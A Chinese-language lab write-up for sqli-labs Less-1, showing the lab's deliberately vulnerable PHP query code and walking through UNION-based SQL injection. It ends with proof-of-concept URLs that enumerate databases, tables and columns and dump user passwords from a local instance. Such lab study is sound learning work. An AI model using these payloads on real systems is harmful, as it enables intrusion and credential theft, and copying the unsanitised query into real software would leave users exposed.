sqli-labs (less-1)

Less1 核心代码

  • 在用户表中查询一条用户信息,在页面中显示这条信息的用户名密码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
    if($row)
    {
    echo "";
    echo 'Your Login name:'. $row['username'];
    echo "
"; echo 'Your Password:' .$row['password']; echo "
"; } else { echo ''; print_r(mysqli_error($con)); echo ""; } } else { echo "Please input the ID as parameter with numeric value";} ?>
  • 具体后台mysql中操作的结果是
image.png

首先我们要判断是否是sql注入,我们用单引号去尝试

sqli-labs (less-1)_第1张图片
image.png

得到的有价值的信息

  • 出现报错一定有数据库注入
  • 数据库为myql
  • LIMIT 0,1 后台只查询一条内容(比较重要的信息)
sqli-labs (less-1)_第2张图片
image.png

在做测试之前要科普下数据库注入的几种类型

  • union注入(联合查询)
  • 基于错误的注入
  • 时间注入
  • 布尔注入
  • 内联查询
  • 栈查询

其中盲注又分为

 基于布尔SQL盲注
 基于时间的SQL盲注
 基于报错的SQL盲注

sqlmap 中对于注入的分类

image.png

测试开始

首先我们要用最常见的union 注入去尝试

关于union注入介绍

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

SQL UNION 语法

SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

SQL UNION ALL 语法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2

另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

  • 具体的例子
sqli-labs (less-1)_第3张图片
image.png

上文说过(如何判断前面的select 查询有几列呢? order by 介绍)

union内部的SELECT 语句必须拥有相同的列

order by 是对查询的列进行排序

语法

SELECT field1, field2,...fieldN table_name1, table_name2...
ORDER BY field1, [field2...] [ASC [DESC]]

order by 有一个特性,就是后面可以不跟排序的字段,直接跟数字,如果数字超过查询的列就会报错,

当为3的时候正常,当为4时候报错(得到结果查询的列为3)

sqli-labs (less-1)_第4张图片
image.png

在正式测试之前还介绍几个知识 group_concat

正式开始

  • 猜测数据库
select schema_name  from information_schema.schemata
  • 猜测数据库中的数据表
select table_name  from  information_schema.tables  where table_schema='XXXX'
  • 猜测表的所有列
select column_name from information_schema.columns where table_name='xxxx'
  • 获取某列的内容
select xxx  from  xxxxx

LESS1 中的 POC


查看数据库
http://127.0.0.1/sqli-labs/Less-1/?id='  union select 1,2,(select group_concat(schema_name) from information_schema.schemata)%23


查看表
http://127.0.0.1/sqli-labs/Less-1/?id=-1 '  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+



查看列
http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+


查看数据
http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)%23


你可能感兴趣的:(sqli-labs (less-1))